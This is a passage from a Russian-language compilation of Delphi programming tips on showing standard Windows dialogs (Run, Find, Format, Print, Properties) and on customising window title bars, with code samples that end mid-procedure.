 { Dieser Code verwendet die undokumentierte RunFileDlg Funktion, um den Ausfuhren Dialog anzuzeigen }
 // For Win NT
procedure RunFileDlgW(OwnerWnd: HWND; Icon: HICON; lpstrDirectory: PWideChar;
   lpstrTitle: PWideChar; lpstrDescription: PWideChar; Flags: Longint); stdcall;
   external 'Shell32.dll' Index 61;
 // For Win 9x (Win NT to show standard captions )
procedure RunFileDlg(OwnerWnd: HWND; Icon: HICON; lpstrDirectory: PChar;
   lpstrTitle: PChar; lpstrDescription: PChar; Flags: Longint); stdcall;
   external 'Shell32.dll' Index 61;
 const
   RFF_NOBROWSE = 1; //Removes the browse button.
  RFF_NODEFAULT = 2; // No default item selected.
  RFF_CALCDIRECTORY = 4; // Calculates the working directory from the file name.
  RFF_NOLABEL = 8; // Removes the edit box label.
  RFF_NOSEPARATEMEM = 14; // Removes the Separate Memory Space check box (Windows NT only).
function ShowRunFileDialg(OwnerWnd: HWND; InitialDir, Title, Description: PChar;
   flags: Integer; StandardCaptions: Boolean): Boolean;
 var
   HideBrowseButton: Boolean;
   TitleWideChar, InitialDirWideChar, DescriptionWideChar: PWideChar;
   Size: Integer;
 begin
   if (Win32Platform = VER_PLATFORM_WIN32_NT) and not StandardCaptions then
   begin
     Size := SizeOf(WideChar) * MAX_PATH;
     InitialDirWideChar := nil;
     TitleWideChar := nil;
     DescriptionWideChar := nil;
     GetMem(InitialDirWideChar, Size);
     GetMem(TitleWideChar, Size);
     GetMem(DescriptionWideChar, Size);
     StringToWideChar(InitialDir, InitialDirWideChar, MAX_PATH);
     StringToWideChar(Title, TitleWideChar, MAX_PATH);
     StringToWideChar(Description, DescriptionWideChar, MAX_PATH);
     try
       RunFileDlgW(OwnerWnd, 0, InitialDirWideChar, TitleWideChar, DescriptionWideChar, Flags);
     finally
       FreeMem(InitialDirWideChar);
       FreeMem(TitleWideChar);
       FreeMem(DescriptionWideChar);
     end;
   end else
     RunFileDlg(OwnerWnd, 0, PChar(InitialDir), PChar(Title), PChar(Description), Flags);
 end;
 procedure TForm1.Button1Click(Sender: TObject);
 begin
   ShowRunFileDialg(FindWindow('Shell_TrayWnd', nil), nil, nil, nil, RFF_NOBROWSE, True);
 end;
К заголовку




" Показать диалог для организации избранных документов
uses
   SHDocVw, ShlObj, ShellApi;

 {....}

 function OrganizeFavorite(h: THandle; path: PChar): Boolean;
   stdcall external 'shdocvw.dll' Name 'DoOrganizeFavDlg';


 {....}


 function GetSpecialFolderPath(CallerHandle: THandle; CSIDL: Integer): PChar;
 var
   exInfo: TShellExecuteInfo;
   Buf: PChar;
 begin
   // initialize all fields to 0
  FillChar(exInfo, SizeOf(exInfo), 0);
   with exInfo do
   begin
     cbSize := SizeOf(exInfo);
      fMask  := SEE_MASK_FLAG_DDEWAIT or SEE_MASK_IDLIST;
     Wnd    := CallerHandle;
     nShow  := SW_SHOWNORMAL;
     Buf    := StrAlloc(MAX_PATH);
     SHGetSpecialFolderPath(wnd, Buf, CSIDL, True);
     Result := Buf;
   end;
 end;

 procedure TForm1.Button1Click(Sender: TObject);
 begin
   OrganizeFavorite(Handle, GetSpecialFolderPath(Handle, CSIDL_FAVORITES));
 end;


К заголовку




" Показать диалог поиска файлов
uses
   DDEMan;

 procedure SearchInFolder(Folder: string);
 begin
   with TDDEClientConv.Create(Self) do
   begin
     ConnectMode        := ddeManual;
     ServiceApplication := 'Explorer.exe';
     SetLink('Folders', 'AppProperties');
     OpenLink;
     ExecuteMacro(PChar('[FindFolder(, ' + Folder + ')]'), False);
     CloseLink;
     Free;
   end;
 end;

 procedure TForm1.Button1Click(Sender: TObject);
 begin
   SearchInFolder('c:\Windows');
 end;

 {************************************}

 // Or even easier with ShellExecute:

ShellExecute(Handle, 'find', 'C:\Windows', nil, nil, SW_SHOW);

 {************************************}

 // Suchen-Dialog ausfuhren und einen Suchstring ubergeben:

uses
   ShellAPI;

 procedure WindowsSuchenDialog(Verzeichnis, Suchstring: string);
 var
   hOtherWin, hFocusWin: HWND;
   OtherThreadID, iTimeOut: Integer;
   aDwordVar: DWORD;
   buf: array [0..40] of Char;
   sVerz: string;
 begin
   // ShellExecute(application.handle, 'find', 'c:\', nil, nil, SW_SHOWNORMAL);
  // oder mit TDDEClientConv
  with TDDEClientConv.Create(nil) do
   begin
     ConnectMode := ddeManual;
     ServiceApplication := 'explorer.exe';
     SetLink('Folders', 'AppProperties');
     OpenLink;
     sVerz := IncludeTrailingBackslash(Verzeichnis);
     ExecuteMacro(PChar('[FindFolder(, '+ sVerz +')]'), False);
     CloseLink;
     Free;
   end;
   iTimeOut := 0;
   repeat
     { Warten, bis der Such Dialog erscheint.
      Unter Win95/98/NT4 hat der Suchdilaog die Klasse #32770.
      Unter ME/2000/XP ist die Suche in den Explorer integriert,
      darum auf CabinetWClass warten}
     Sleep(100);
     hOtherWin := GetForegroundWindow;
     buf[0] := #0;
     GetClassName(hOtherWin, buf, 60);
     inc(iTimeOut);
   until (StrComp(buf, '#32770') = 0) or (StrComp(buf, 'CabinetWClass') = 0) or (iTimeOut > 20);
   if iTimeOut > 20 then Exit;
   repeat
     { Wait until it is visible }
     { Warten, bis das Fenster erscheint }
     Sleep(100);
   until IsWindowVisible(hOtherWin);

   { Handle vom Control finden, welches den Fokus besitzt }
   OtherThreadID := GetWindowThreadProcessID(hOtherWin, @aDwordvar);
   if AttachThreadInput(GetCurrentThreadID, OtherThreadID, True) then
   begin
     hFocusWin := GetFocus;
     if hFocusWin <> 0 then
       try
         SendMessage(hFocusWin, WM_SETTEXT, 0, Longint(PChar(Suchstring)));
       finally
         AttachThreadInput(GetCurrentThreadID, OtherThreadID, False);
       end;
   end;
 end;

 procedure TForm1.Button1Click(Sender: TObject);
 begin
   WindowsSuchenDialog('c:\temp','test.txt');
 end;
К заголовку




" Показать диалог форматирования
procedure TForm1.Button1Click(Sender: TObject);
 begin
   ShellExecute(Application.Handle,
                PChar('Open'),
                PChar('C:\Windows\Rundll32.exe'),
                PChar('Shell32.dll,SHFormatDrive'),
                PChar('C:\Windows'),
                SW_SHOWNORMAL);
 end;
К заголовку




" Размещать свои элементы управления в диалоге печати
// Unit for TExtendedPrintDialog

unit Unit1;

 interface

 uses
   Windows, Messages, SysUtils, Classes, Graphics, Controls, Forms, Dialogs,
   ExtDlgs, extctrls, stdctrls, CommDlg, Dlgs;

 type
   TExtendedPrintDialog = class(TPrintDialog)
   private
     fExtendedPanel: TPanel;
     fCheckBoxOne,
     fCheckBoxTwo: TCheckbox;
     fButton: TButton;
   protected
     procedure DoShow; override;
     function GetStaticRect: TRect;
     function TaskModalDialog(DialogFunc: Pointer; var DialogData): Bool;
       override;
   public
     constructor Create(AOwner: TComponent); override;
     function Execute: Boolean; override;
   end;

 implementation

 constructor TExtendedPrintDialog.Create(AOwner: TComponent);
 var
   iTop: Integer;
 begin
   inherited;
   fExtendedPanel := TPanel.Create(Self);
   with fExtendedPanel do
   begin
     Name    := 'ExtendedPanel';
     Caption := '';
     SetBounds(0, 0, 169, 200);  // (204, 5, 169, 200);
    BevelOuter  := bvNone;
     BorderWidth := 6;
     TabOrder    := 1;
     fButton     := TButton.Create(Self);
     with fButton do
     begin
       Name    := 'SomeButton';
       Caption := '&Options';
       SetBounds(0, 10, 50, 21);
       Parent := fExtendedPanel;
     end;
     fCheckBoxOne := TCheckbox.Create(Self);
     with fCheckBoxOne do
     begin
       Name    := 'CheckboxOne';
       Caption := 'Upside-down print';
       SetBounds(fButton.Left + fButton.Width + 10, 3, 110, 21);
       fCheckBoxOne.Parent := fExtendedPanel;
     end;
     fCheckBoxTwo := TCheckbox.Create(Self);
     with fCheckBoxTwo do
     begin
       Name    := 'CheckboxTwo';
       Caption := 'Sideways print';
       SetBounds(fButton.Left + fButton.Width + 10, 23, 100, 21);
       Parent := fExtendedPanel;
     end;
   end
 end;

 procedure TExtendedPrintDialog.DoShow;
 var
   PreviewRect, StaticRect: TRect;
 begin
   { Set preview area to entire dialog }
   GetClientRect(Handle, PreviewRect);
   StaticRect := GetStaticRect;
   { Move extended area to right of static area }
   PreviewRect.Left := StaticRect.Left;
   PreviewRect.Top  := StaticRect.Bottom;
   Inc(PreviewRect.Top, 4);
   fExtendedPanel.BoundsRect   := PreviewRect;
   fExtendedPanel.ParentWindow := Handle;
   inherited DoShow;
 end;

 function TExtendedPrintDialog.Execute: Boolean;
 begin
   Template := 'DLGTEMPLATE';// this is in the extdlgs.rc
  Result   := inherited Execute;
 end;

 function TExtendedPrintDialog.GetStaticRect: TRect;
 begin
   if Handle <> 0 then
   begin
     GetWindowRect(GetDlgItem(Handle, grp1), Result); // print range group box
    MapWindowPoints(0, Handle, Result, 2);
   end
   else
     Result := Rect(0, 0, 0, 0)
 end;

 function TExtendedPrintDialog.TaskModalDialog(DialogFunc: Pointer;
   var DialogData): Bool;
 begin
   TPrintDlg(DialogData).Flags := TPrintDlg(DialogData).Flags or
     PD_ENABLESETUPTEMPLATE;
   TPrintDlg(DialogData).lpSetupTemplateName := Template;
   Result := inherited TaskModalDialog(DialogFunc, DialogData);
 end;

 end.

 //Example, Beispiel:

uses
   Unit2;

 procedure TForm1.Button1Click(Sender: TObject);
 var
   PrintDialog: TExtendedPrintDialog;
 begin
   PrintDialog := TExtendedPrintDialog.Create(nil);
   if PrintDialog.Execute then
     {do soemthing}
 end;
К заголовку




" Текст на кнопках MessageDlg
Как можно сменить текст на кнопках диалогового окна MessageDlg? Английский язык для текста кнопок пользователь
хочет заменить на родной.

Текст кнопок извлекается из списка строк, расположенных в файле ...\DELPHI\SOURCE\VCL\CONSTS.PAS. Отредактируйте
его, после чего пересоберите VCL.

VS дополняет:

Но можно ничего не менять. Вместо MessageDlg использовать MessageBox - функция WINDOWS. И, если ваш WINDOWS
русифицирован, то надписи на кнопках в диалоговых окнах будут на русском языке.
К заголовку




" Фреймы в Delphi
Frames' - на мой взгляд чрезвычайно полезная компонента. Если откинуть условности, то это форма в форме. Грубо
говоря, можно наделать таких форм и менять, например, функциональность и вид Вашей программы в зависимости от
определенных условий(Это не то-же, что менять кожу - не перепутайте.).

И раз уж я назвал его формой, то отсюда и начальный шаг по его созданию должен быть как у формы, а не как у
компоненты. Точнее даже два в одном.

Вообщем так. Через меню 'File/New/Frame' создаем фрейм - появляется до боли знакомое окно форы, с разве что
немного другими свойствами. Далее можно делать на нем все, что угодно. Однако, не забываем, что пока создан
всего сам фрейм и он у нас ни к чему не привязан. И тут нужен второй шаг - теперь берем компоненту и ложем
ее на форму Вашего основного проекта. Сразу появляется окно выбора фрейма- 'Select frame to insert'. Причем,
если Вы наделали, несколько фреймов, то, соответственно, Вам их все и предложат.

Итак, из всего вышесказанного можно подчеркнуть лишь одно - прежде чем пользоваться компонентой Frame нужно
создать сам фрейм.

Пошли дальше. Самый простой способ осуществить подмены фреймов(для изменения функций программы) это делать
Visible тому фрейму который сейчас нужен. Вообще, конечно спорный вопрос - стоит ли наращивать размер программы
для таких целей, но.... задачи бывают разные.

Еще одна полезность этой компонеты в том, что она позволяет организовать скролл(как вертикальный, так и
горизонтальный) для целого набора инструментов. Т.е. если Вам необходимо разместить на форме очень много
всего, а места не хватает, то фрейм - идеальное решение. Примером может служить настройка сортировщика писем
в известной почтовой программе 'TheBat'.
К заголовку




" Функция вызывает стандартный диалог Свойства
{ **** UBPFD *********** by delphibase.endimus.com ****
>> Функция вызывает стандартный диалог "Свойства"

Зависимости: uses Activex;
Автор:       Babay_S
Copyright:   мои раскопки
Дата:        27 сентября 2002 г.
***************************************************** }

uses Activex;

function ObjectProperties(hOwner, uFlags: LongInt; sName, sParam: string):
  LongInt;
{Функция вызывает диалог "Свойства"
Параметры
hOwner - хэндл родителя.
uFlags - может принимать два значения - 1 для свойств принтера, 2 - для файла
sName - имя принтера или файла. Если вместо имени файла указаны папка или диск,
вызывается соответствующее окно свойств. Если указано "" - появляются свойства Системы.
sParam - название вкладки на пропертях, которую надо показать. Если предать пустую
строку или несуществующую вкладку - будет показана первая вкладка.
}

implementation

function ObjectProperties(hOwner, uFlags: LongInt; sName, sParam: string):
  LongInt;
var
  sNameW, sParamW: PWideChar;
  sNameL, sParamL: Integer;
begin
  SNameL := Length(sName) + 1;
  sNameW := CoTaskMemAlloc(SNameL * sizeof(WideChar));
  StringToWideChar(SName, SNameW, sNameL);
  SParamL := Length(sParam) + 1;
  sParamW := CoTaskMemAlloc(SParamL * sizeof(WideChar));
  StringToWideChar(SParam, SParamW, sParamL);
  Result := SHObjectProperties(hOwner, uFlags, sNameW, sParamW);
  CoTaskMemFree(sNameW);
  CoTaskMemFree(sParamW);
end;
К заголовку




" Центрирование InputQuery диалога над формой
// I borrowed the code from InputQuery and
// added the stuff to center the InputQuery
// form on top of another form instead of
// positioning it in the middle of the screen.


// Dieser Code positioniert die Input Box in die
// Mitte der Form und nicht in die Mitte des
// Bildschirms.

function GetAveCharSize(Canvas: TCanvas): TPoint;
 var
   I: Integer;
   Buffer: array[0..51] of Char;
 begin
   for I := 0 to 25 do Buffer[I] := Chr(I + Ord('A'));
   for I := 0 to 25 do Buffer[I + 26] := Chr(I + Ord('a'));
   GetTextExtentPoint(Canvas.Handle, Buffer, 52, TSize(Result));
   Result.X := Result.X div 52;
 end;

 function MyInputQuery(const ACaption, APrompt: string;
   var Value: string): Boolean; overload;
 const
     SMsgDlgOK = 'OK';
   SMsgDlgCancel = 'Cancel';
 var
   x, y, w, h: Integer;
   Form: TForm;
   Prompt: TLabel;
   Edit: TEdit;
   DialogUnits: TPoint;
   ButtonTop, ButtonWidth, ButtonHeight: Integer;
 begin
   Result := False;
   Form   := TForm.Create(Application);
   with Form do
     try
       Canvas.Font  := Font;
       DialogUnits  := GetAveCharSize(Canvas);
       BorderStyle  := bsDialog;
       Caption      := ACaption;
       ClientWidth  := MulDiv(180, DialogUnits.X, 4);
       ClientHeight := MulDiv(63, DialogUnits.Y, 8);

       // center Horzontally
      w := (Form1.Width - Form.Width) div 2;
       X := Form1.Left + W;
       if x < 0 then
         x := 0
       else if x + w > Screen.Width then x := Screen.Width - Form.Width;
       Form.Left := X;

       // center vertically
      h := (Form1.Height - Form.Height) div 2;
       y := Form1.Top + h;
       if y < 0 then
         y := 0
       else if y + h > Screen.Height then y := Screen.Height - Form.Height;
        Form.Left := X;
       Form.Top  := Y;

       Prompt := TLabel.Create(Form);
       with Prompt do
       begin
         Parent   := Form;
         AutoSize := True;
         Left     := MulDiv(8, DialogUnits.X, 4);
         Top      := MulDiv(8, DialogUnits.Y, 8);
         Caption  := APrompt;
       end;
       Edit := TEdit.Create(Form);
       with Edit do
       begin
         Parent    := Form;
         Left      := Prompt.Left;
         Top       := MulDiv(19, DialogUnits.Y, 8);
         Width     := MulDiv(164, DialogUnits.X, 4);
         MaxLength := 255;
         Text      := Value;
         SelectAll;
       end;
       ButtonTop    := MulDiv(41, DialogUnits.Y, 8);
       ButtonWidth  := MulDiv(50, DialogUnits.X, 4);
       ButtonHeight := MulDiv(14, DialogUnits.Y, 8);
       with TButton.Create(Form) do
       begin
         Parent      := Form;
         Caption     := SMsgDlgOK;
         ModalResult := mrOk;
         default     := True;
         SetBounds(MulDiv(38, DialogUnits.X, 4), ButtonTop, ButtonWidth,
           ButtonHeight);
       end;
       with TButton.Create(Form) do
       begin
         Parent      := Form;
         Caption     := SMsgDlgCancel;
         ModalResult := mrCancel;
         Cancel      := True;
         SetBounds(MulDiv(92, DialogUnits.X, 4), ButtonTop, ButtonWidth,
           ButtonHeight);
       end;

       if ShowModal = mrOk then
       begin
         Value  := Edit.Text;
         Result := True;
       end;
     finally
       Form.Free;
     end;
 end;


 procedure TForm1.Button1Click(Sender: TObject);
 var
   str: string;
 begin
   if MyInputQuery('Question', 'Whats your name ?', str) then
     label1.Caption := str;
 end;
К заголовку




" Центрирование информационного диалога (MessageDlg)
unit kns;

{$R-}

interface

uses Forms, Dialogs;

{ Центрирование информационного диалога }
function MessageDlgCtr(const Msg: string; DlgType: TMsgDlgType;
  Buttons: TMsgDlgButtons; HelpCtx: Longint): Integer;

implementation

uses Consts;

{ Функция MessageDlg располагает диалог над центром активного окна }

function MessageDlgCtr(const Msg: string; DlgType: TMsgDlgType;
  Buttons: TMsgDlgButtons; HelpCtx: Longint): Integer;
begin
  with CreateMessageDialog(Msg, DlgType, Buttons) do
  try
    HelpContext := HelpCtx;
    Left := Screen.ActiveForm.Left + (Screen.ActiveForm.Width div 2) -
      (Width div 2);

    Top := Screen.ActiveForm.Top + (Screen.ActiveForm.Height div 2) -
      (Height div 2);

    Result := ShowModal;
  finally
    Free;
  end;
end;

end.


К заголовку




" Вертикальный TitleBar
type
   TForm1 = class(TForm)
     procedure FormResize(Sender: TObject);
     procedure FormPaint(Sender: TObject);
   private
     procedure VerticalTitleBar(Texto: string; Size: Integer);
   end;

 const
   MY_TITLE_TEXT = 'Vertical Text';
 var
   Form1: TForm1;

 implementation

 {$R *.DFM}

 procedure TForm1.VerticalTitleBar(TexTo: string; Size: Integer);
 var
   LogFont: TLogFont;
   tmpCanvas: TCanvas;
   tmpRect: TRect;
   x1, x2, y1, y2: integer;
 begin
   tmpCanvas        := TCanvas.Create;
   tmpCanvas.Handle := GetWindowDc(Handle);
   try
     GetObject(Canvas.Font.Handle, SizeOf(LogFont), @LogFont);
     with LogFont do
     begin
       lfEscapement   := 90 * 10;
       lfOrientation  := 90 * 10;
       lfOutPrecision := OUT_TT_ONLY_PRECIS;
       lfFaceName     := 'Arial';
       lfHeight       := Size;
       lfWeight       := FW_BOLD;
       lfQuality      := PROOF_QUALITY;
     end;
     with tmpCanvas do
     begin
       Font.Handle := CreateFontIndirect(LogFont);
       Font.Color  := clWhite;
       Brush.Color := clNavy;
     end;
     x1 := GetSystemMetrics(SM_CXEDGE) + GetSystemMetrics(SM_CXBORDER);
     x2 := 20;
     y1 := GetSystemMetrics(SM_CYCAPTION) + GetSystemMetrics(SM_CYEDGE) +
           GetSystemMetrics(SM_CYBORDER) + 1;
     y2 := Height - GetSystemMetrics(SM_CYEDGE) - GetSystemMetrics(SM_CYBORDER);
     tmpRect := Rect(x1, y1, x2, y2);
     tmpCanvas.FillRect(tmpRect);
     DrawText(tmpCanvas.Handle, PChar(Texto), - 1, tmpRect, DT_BOTTOM or
       DT_SINGLELINE);
   finally
     tmpCanvas.Free;
   end;
 end;

 procedure TForm1.FormResize(Sender: TObject);
 begin
   VerticalTitleBar(MY_TITLE_TEXT, 12);
 end;

 procedure TForm1.FormPaint(Sender: TObject);
 begin
   VerticalTitleBar(MY_TITLE_TEXT, 12);
 end;

 end.
К заголовку




" Заголовок диалогового окна
Заголовок диалогового окна

        Окошко, окошко, повернись к ядру задом, а ко мне дружественным интерфейсом!

Заголовок диалогового окна устанавливается в момент вызова CreateMessageDialog, чей код расположен в Dialogs.pas.
При этом происходит вызов LoadStr, который получает Warningcaption, Cautioncaption и пр., так что у вас есть два
пути: Или вы изменяете Dialogs.pas, или вы редактируете строки в .res-файле.

К заголовку




" Как изменить заголовок приложения
В примере показывается, как изменять заголовок окна (видимый в списке задач при переключении между приложениями)
при минимизации окна в иконку.

Пример:

Сперва необходимо определить сообщение поумолчанию:

const
  DefMsgNorm = 'MyApp version 1.0';
  DefMsgIcon = 'MyApp. (Use F12 to turn of)';


И добавить две глобальных переменных:

var
  ActMsgNorm : string;
  ActMsgIcon : string;


Затем при открытии основной формы инициализируем переменные из констант:

procedure TFormMain.FormCreate(Sender: TObject);
begin
  ActMsgNorm := DefMsgNorm;
  ActMsgIcon := DefMsgIcon;
  Application.Title := ActMsgNorm;
end;


Затем достаточно в обработчик OnResize добавить следующий код:

procedure TFormMain.FormResize(Sender: TObject);
begin
  if FormMain.WindowState = wsMinimized then
    Application.Title := ActMsgIcon
  else
    Application.Title := ActMsgNorm;
end;


К заголовку




" Как изменить заголовок чужого окна
procedure TForm1.Button1Click(Sender: TObject);
begin
  SetWindowText(FindWindow(nil, 'Безымянный - Блокнот'),
    'Delphi World FOREVER !!!');
end;
К заголовку




" Как нажать на кнопку вопроса (та, что слева от кнопок минимизации на форме)
Perform(WM_SYSCOMMAND,SC_CONTEXTHELP,100);
К заголовку




" Как перехватить события в неклиентской области формы, в заголовке окна, например
Создайте обработчик одного из сообщений WM_NC

unit Unit1;

interface

uses
  Windows, Messages, SysUtils, Classes, Graphics, Controls,
  Forms, Dialogs, StdCtrls;

type
  TForm1 = class(TForm)
  private
    {Private declarations}
    procedure WMNCMOUSEMOVE(var message: TMessage); message WM_NCMOUSEMOVE;
  public
    {Public declarations}
end;

var
  Form1: TForm1;

implementation
{$R *.DFM}

procedure TForm1.WMNCMOUSEMOVE(var message: TMessage);
var
  s: string;
begin
  case message.wParam of
    HTERROR: s:= 'HTERROR';
    HTTRANSPARENT: s:= 'HTTRANSPARENT';
    HTNOWHERE: s:= 'HTNOWHERE';
    HTCLIENT: s:= 'HTCLIENT';
    HTCAPTION: s:= 'HTCAPTION';
    HTSYSMENU: s:= 'HTSYSMENU';
    HTSIZE: s:= 'HTSIZE';
    HTMENU: s:= 'HTMENU';
    HTHSCROLL: s:= 'HTHSCROLL';
    HTVSCROLL: s:= 'HTVSCROLL';
    HTMINBUTTON: s:= 'HTMINBUTTON';
    HTMAXBUTTON: s:= 'HTMAXBUTTON';
    HTLEFT: s:= 'HTLEFT';
    HTRIGHT: s:= 'HTRIGHT';
    HTTOP: s := 'HTTOP';
    HTTOPLEFT: s:= 'HTTOPLEFT';
    HTTOPRIGHT: s:= 'HTTOPRIGHT';
    HTBOTTOM: s:= 'HTBOTTOM';
    HTBOTTOMLEFT: s:= 'HTBOTTOMLEFT';
    HTBOTTOMRIGHT: s:= 'HTBOTTOMRIGHT';
    HTBORDER: s:= 'HTBORDER';
    HTOBJECT: s:= 'HTOBJECT';
    HTCLOSE: s:= 'HTCLOSE';
    HTHELP: s:= 'HTHELP';
    else
      s:= '';
  end;
  Form1.Caption := s;
  message.Result := 0;
end;

end.


К заголовку




" Как программно спрятать или показать заголовок окна TitleBar
procedure TForm1.HideTitlebar;
var
  Save: Longint;
begin
  if BorderStyle=bsNone then
    Exit;
  Save:=GetWindowLong(Handle, GWL_STYLE);
  if (Save and WS_CAPTION)=WS_CAPTION then
  begin
    case BorderStyle of
      bsSingle, bsSizeable:
        SetWindowLong(Handle, GWL_STYLE, Save and (not WS_CAPTION) or WS_BORDER);
      bsDialog:
        SetWindowLong(Handle, GWL_STYLE, Save and
        (not WS_CAPTION) or DS_MODALFRAME or WS_DLGFRAME);
    end;
    Height:=Height-GetSystemMetrics(SM_CYCAPTION);
    Refresh;
  end;
end;

procedure TForm1.ShowTitlebar;
var
  Save: Longint;
begin
  if BorderStyle=bsNone then
    Exit;
  Save:=GetWindowLong(Handle, GWL_STYLE);
  if (Save and WS_CAPTION)<>WS_CAPTION then
  begin
    case BorderStyle of
      bsSingle, bsSizeable:
        SetWindowLong(Handle, GWL_STYLE, Save or WS_CAPTION or WS_BORDER);
      bsDialog:
        SetWindowLong(Handle, GWL_STYLE, Save or WS_CAPTION or
        DS_MODALFRAME or WS_DLGFRAME);
    end;
    Height:=Height+getSystemMetrics(SM_CYCAPTION);
    Refresh;
  end;
end;


К заголовку




" Как спрятать заголовок формы
Во-первых, перепишите у формы метод "CreateParams", объявив его в protected или public секции:

procedure CreateParams(var Params: TCreateParams); override;


Затем создайте сам код метода CreateParams(), выглядящий так:

procedure TForm1.Createparams(var Params: TCreateParams);
begin
  inherited CreateParams(Params);
  with Params do
    Style := (Style or WS_POPUP) and (not WS_DLGFRAME);
end;


Надо надеяться, что вы обеспечите некоторый UI-механизм для перемещения и закрытия окна.
К заголовку




" # Как спрятать кнопки в заголовке окна
procedure TForm1.FormCreate(Sender: TObject);
var
  Style: Longint;
begin
  Style := GetWindowLong(Handle, GWL_STYLE);
  SetWindowLong(Handle, GWL_STYLE, Style and not WS_SYSMENU);
end;
К заголовку




" Кнопка заголовка активного окна
Вы должны сами рисовать кнопку и обрабатывать ее перерисовку для показа вдавленного состояния. Затем, для
активизации кнопки, вам необходимо реагировать на сообщение WM_NCHITTEST. Вот пример кода, рисующего безобразный
зеленый контур вокруг красного прямоугольника около системного меню:

procedure TForm1.WMNCPaint(var Msg: TWMNCPaint);
var
  R: TRect;
begin
  inherited;
  Canvas.Handle := GetWindowDC(Handle);
  R := Bounds(GetSystemMetrics(SM_CXFRAME) +
    GetSystemMetrics(SM_CXSIZE) + 1,
    GetSystemMetrics(SM_CYFRAME),
    GetSystemMetrics(SM_CXSIZE),
    GetSystemMetrics(SM_CYSIZE));
  with Canvas do
  begin
    Brush.Color := clRed;
    Pen.Color := clLime;
    Rectangle(R.Left, R.Top, R.Right, R.Bottom);
  end;
  ReleaseDC(Handle, Canvas.Handle);
end;

К заголовку




" Маленькая область заголовка
Вам необходима небольшая область заголовка подобно той, которую использует Microsoft для управления палитры в VB,
правильно? Около 1/3 от высоты нормальной области заголовка, без текста и без блока системных кнопок? Хорошо, я
могу дать вам небольшой пример.

   1. Создайте вторичную форму и установите BorderStyle в bsSingle
   2. Разместите на форме компонент Label, удалите значение свойства Caption, установите Color в clBlue и Align в
alTop. Задайте высоту компонента такую, какую высоту заголовка вы хотите
   3. Добавьте следующие два метода к вашей форме:


PROCEDURE TForm2.CreateParams(VAR Params: TCreateParams);
BEGIN
  Inherited CreateParams(Params);
  WITH Params DO
    Style := (Style OR WS_POPUP) AND NOT WS_DLGFRAME;
END;

PROCEDURE TForm2.wmNCHitTest(VAR Msg: TWMNCHitTest);
BEGIN
  Inherited;
  WITH Msg DO
    IF YPos-Top <= Label2.Height THEN
      Result := HTCAPTION;
END;


   4. Объявите эти функции в секции private вашего модуля:


PROCEDURE CreateParams(VAR Params: TCreateParams); override;
PROCEDURE wmNCHitTest(VAR Msg: TWMNCHitTest);
  message WM_NCHITTEST;


      Установите свойство вторичной формы Visible в True. Теперь у вас есть плавающее окно с мальнокой областью
заголовка. Для создания также "небольшого" системного меню, НАРИСУЙТЕ его на форме и в ответ на событие WM_NCHITTEST
установите Result в HTSYSMENU, если мышь в пределах области заголовка.

К заголовку




" Окно без заголовка
Для создания окна без заголовка с любым стилем контура сделайте следующее:

Добавьте объявление процедуры

procedure CreateParams(var Params: TCreateParams); override;


и ее реализацию:

procedure TForm1.CreateParams(var Params: TCreateParams);
begin
  inherited CreateParams(Params);
  with Params do
    Style := (Style OR WS_POPUP) AND NOT WS_DLGFRAME;
end;


Установите BorderStyle в bsSizeable.
К заголовку




" Окно в виде кольца с изогнутой заголовочной полосой
unit Unit1;

interface

uses
  Windows, Messages, SysUtils, Classes, Graphics, Controls,
  Forms, Dialogs, Buttons, StdCtrls;

type
  TForm1 = class(TForm)
    SpeedButton1: TSpeedButton;
    Button1: TButton;
    procedure FormCreate(Sender: TObject);
    procedure FormPaint(Sender: TObject);
    procedure Button1Click(Sender: TObject);
  private
    { Private declarations }
    rTitleBar : THandle;
    Center : TPoint;
    CapY : Integer;
    Circum : Double;
    SB1 : TSpeedButton;
    RL, RR : Double;
    procedure TitleBar(Act : Boolean);
    procedure WMNCHITTEST(var Msg: TWMNCHitTest); message WM_NCHITTEST;
    procedure WMNCACTIVATE(var Msg: TWMNCACTIVATE); message WM_NCACTIVATE;
    procedure WMSetText(var Msg: TWMSetText); message WM_SETTEXT;
  public
  { Public declarations }
end;

var
  Form1: TForm1;

implementation
{$R *.DFM}

const
  TitlColors : array[Boolean] of TColor = (clInactiveCaption, clActiveCaption);
  TxtColors : array[Boolean] of TColor = (clInactiveCaptionText, clCaptionText);

procedure TForm1.FormCreate(Sender: TObject);
var
  rTemp, rTemp2 : THandle;
  Vertices : array[0..2] of TPoint;
  X, Y : INteger;
begin
  Caption := 'Delphi World is great!';
  BorderStyle := bsNone; {required}
  if Width > Height then
    Width := Height
  else
    Height := Width; {harder to calc if width <> height}
  Center := Point(Width div 2, Height div 2);
  CapY := GetSystemMetrics(SM_CYCAPTION)+8;
  rTemp := CreateEllipticRgn(0, 0, Width, Height);
  rTemp2 := CreateEllipticRgn((Width div 4), (Height div 4),
  3*(Width div 4), 3*(Height div 4));
  CombineRgn(rTemp, rTemp, rTemp2, RGN_DIFF);
  SetWindowRgn(Handle, rTemp, True);
  DeleteObject(rTemp2);
  rTitleBar := CreateEllipticRgn(4, 4, Width-4, Height-4);
  rTemp := CreateEllipticRgn(CapY, CapY, Width-CapY, Height-CapY);
  CombineRgn(rTitleBar, rTitleBar, rTemp, RGN_DIFF);
  Vertices[0] := Point(0,0);
  Vertices[1] := Point(Width, 0);
  Vertices[2] := Point(Width div 2, Height div 2);
  rTemp := CreatePolygonRgn(Vertices, 3, ALTERNATE);
  CombineRgn(rTitleBar, rTitleBar, rTemp, RGN_AND);
  DeleteObject(rTemp);
  RL := ArcTan(Width / Height);
  RR := -RL + (22 / Center.X);
  X := Center.X-Round((Center.X-1-(CapY div 2))*Sin(RR));
  Y := Center.Y-Round((Center.Y-1-(CapY div 2))*Cos(RR));
  SB1 := TSpeedButton.Create(Self);
  with SB1 do
  begin
    Parent := Self;
    Left := X;
    Top := Y;
    Width := 14;
    Height := 14;
    OnClick := Button1Click;
    Caption := 'X';
    Font.Style := [fsBold];
  end;
end;

procedure TForm1.WMNCHITTEST(var Msg: TWMNCHitTest);
begin
  inherited;
  with Msg do
    with ScreenToClient(Point(XPos,YPos)) do
      if PtInRegion(rTitleBar, X, Y) and
      (not PtInRect(SB1.BoundsRect, Point(X,Y))) then
        Result := htCaption;
end;

procedure TForm1.WMNCActivate(var Msg: TWMncActivate);
begin
  inherited;
  TitleBar(Msg.Active);
end;

procedure TForm1.WMSetText(var Msg: TWMSetText);
begin
  inherited;
  TitleBar(Active);
end;

procedure TForm1.TitleBar(Act: Boolean);
var
  TF : TLogFont;
  R : Double;
